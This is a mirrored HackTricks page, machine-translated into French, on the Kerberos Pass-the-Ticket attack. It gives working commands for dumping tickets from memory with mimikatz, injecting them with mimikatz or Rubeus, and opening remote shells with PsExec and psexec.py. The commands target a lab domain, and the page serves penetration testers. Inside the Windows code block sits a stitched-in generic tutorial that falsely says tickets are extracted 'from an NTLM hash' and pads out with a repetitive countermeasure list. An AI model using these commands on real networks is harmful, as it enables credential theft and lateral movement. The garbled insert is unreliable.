Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 21:24:06 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/windows-hardening/active-directory-methodology/pass-the-ticket.md
Translator workflow af42105553 Translated to French
2023-06-03 13:10:46 +00:00

8.2 KiB
Raw Blame History

Pass the Ticket

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Utilisez Trickest pour créer et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Pass The Ticket (PTT)

Ce type d'attaque est similaire à Pass the Key, mais au lieu d'utiliser des hachages pour demander un ticket, le ticket lui-même est volé et utilisé pour s'authentifier en tant que propriétaire.

Lire :

Échange de tickets Linux et Windows entre les plateformes

Le script ticket_converter. Les seuls paramètres nécessaires sont le ticket actuel et le fichier de sortie, il détecte automatiquement le format du fichier de ticket d'entrée et le convertit. Par exemple :

root@kali:ticket_converter# python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter# python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache

Kekeo peut être utilisé pour convertir les tickets Kerberos en tickets Windows. Cependant, cet outil n'a pas été vérifié car il nécessite une licence pour leur bibliothèque ASN1, mais je pense qu'il vaut la peine d'être mentionné.

Attaque Pass The Ticket

{% code title="Linux" %}

export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK 
python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass

{% code title="Windows" %}

Pass the Ticket

La technique Pass the Ticket (PtT) consiste à utiliser un ticket Kerberos volé pour accéder à des ressources protégées par Kerberos. Cette technique est souvent utilisée après une attaque d'escalade de privilèges ou de vol de hash NTLM.

Étape 1 : Obtenir un ticket Kerberos

Pour obtenir un ticket Kerberos, vous pouvez utiliser Mimikatz ou tout autre outil similaire. La commande suivante permet d'extraire un ticket Kerberos à partir d'un hash NTLM :

mimikatz # sekurlsa::tickets /export

Étape 2 : Utiliser le ticket Kerberos

Une fois que vous avez un ticket Kerberos, vous pouvez l'utiliser pour accéder à des ressources protégées par Kerberos. La commande suivante permet d'utiliser un ticket Kerberos pour ouvrir une session sur un ordinateur distant :

mimikatz # kerberos::ptt [ticket.kirbi]

Étape 3 : Profiter de l'accès

Une fois que vous avez ouvert une session avec le ticket Kerberos, vous pouvez accéder aux ressources protégées par Kerberos sur l'ordinateur distant. Vous pouvez également utiliser le ticket Kerberos pour accéder à d'autres ressources protégées par Kerberos sur le réseau.

Contre-mesures

Pour se protéger contre les attaques PtT, il est recommandé de mettre en place les mesures de sécurité suivantes :

  • Utiliser des comptes à privilèges minimisés
  • Mettre en place des contrôles d'accès basés sur les rôles
  • Mettre en place des contrôles d'accès basés sur les attributs de sécurité
  • Mettre en place des contrôles d'accès basés sur les groupes
  • Mettre en place des contrôles d'accès basés sur les horaires
  • Mettre en place des contrôles d'accès basés sur les adresses IP
  • Mettre en place des contrôles d'accès basés sur les protocoles
  • Mettre en place des contrôles d'accès basés sur les applications
  • Mettre en place des contrôles d'accès basés sur les services
  • Mettre en place des contrôles d'accès basés sur les ressources

Il est également recommandé de surveiller les événements de sécurité pour détecter les attaques PtT et de mettre en place des mécanismes de détection d'anomalies pour détecter les comportements suspects.

#Load the ticket in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi"
.\Rubeus.exe ptt /ticket:[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi
klist #List tickets in cache to cehck that mimikatz has loaded the ticket
.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd

{% endcode %}

Références


Utilisez Trickest pour construire et automatiser des workflows alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥